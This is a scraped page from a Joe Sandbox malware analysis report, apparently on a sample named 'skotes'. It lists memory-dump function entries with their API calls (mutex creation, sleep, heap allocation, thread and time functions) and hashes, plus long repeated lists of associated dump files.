Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: c9de40bf72770e145cd1185964103070e7ca59da86cd0b4fba1229a611f595d9
Instruction ID: 33bb74cf3050d19c283e8d39ffdf7b40349837e0e5949032a5e14a92063346f5
Opcode Fuzzy Hash: c9de40bf72770e145cd1185964103070e7ca59da86cd0b4fba1229a611f595d9
Instruction Fuzzy Hash: 3E216270345204EAEB295768985EBED73119F91301F14073AED44D63C1CBFD648C8153

Function 0075A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0075A963
CreateMutexA.KERNELBASE(00000000,00000000,007B3254), ref: 0075A981

Strings

T2{, xrefs: 0075A970

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2{
API String ID: 1464230837-3193152443
Opcode ID: 147118640fe0406c7532d4c14b8bd8342a670ff78a285a6a62ab255fe790b26e
Instruction ID: b11d111badd4bb5cf6508da498b69c6e97dfa8aa9274b8b9a2d17250ff3d403e
Opcode Fuzzy Hash: 147118640fe0406c7532d4c14b8bd8342a670ff78a285a6a62ab255fe790b26e
Instruction Fuzzy Hash: 82216D71744204E7DB18DB68EC897ECB762DBD1311F244339E804972D1D7BD59888713

Function 0078D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0078A813,00000001,00000364,00000006,000000FF,?,0078EE3F,?,00000004,00000000,?,?), ref: 0078D871

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c50a2d79798059c163e92d020ffd93ffb12718dc540c87a36ecd71e4f1ad826
Instruction ID: 39d49751d304aceb1aed6a38db682b9ef352cf8f217c57ff26ed29a454a43e00
Opcode Fuzzy Hash: 0c50a2d79798059c163e92d020ffd93ffb12718dc540c87a36ecd71e4f1ad826
Instruction Fuzzy Hash: 24F082326C5225A6EB317A769C09AAB7759DF85770B188121ED08A71C1EA2CEC4087E1

Non-executed Functions

Function 00752EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00752F5F
GetCurrentThreadId.KERNEL32 ref: 00752F7E
__Mtx_unlock.LIBCPMT ref: 00752FCC
__Cnd_broadcast.LIBCPMT ref: 00752FE3
__Mtx_unlock.LIBCPMT ref: 007530F5
GetCurrentThreadId.KERNEL32 ref: 00753132
__Mtx_unlock.LIBCPMT ref: 0075319B

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 943553471169f6c4e5c79c19badfd11cffad4358a24978ed87bb4096842aa1d2
Instruction ID: 8491c1f6c90fd105e9ac4f182574d631e087ee63db71875a6c0a5d5af44a0186
Opcode Fuzzy Hash: 943553471169f6c4e5c79c19badfd11cffad4358a24978ed87bb4096842aa1d2
Instruction Fuzzy Hash: 7DA10270A01719DFDB11DB74C848BAAB7A8FF05351F048129EC1AD7291EB79EA08CBD1

Function 0078CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0078CC66

Strings

vx, xrefs: 0078CBE1

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: vx
API String ID: 3213747228-3280647138
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: b576dc29b53c18f5b8c3d601ad05c51026d342e868765f911806ea7397dca4d6
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 3DB13832E446859FDB16EF28C8817BEBBE5EF45350F1441AAE855EB242D63C9D01CB70

Function 0076BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0076BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0076BBE4
_xtime_get.LIBCPMT ref: 0076BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0076BC13

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
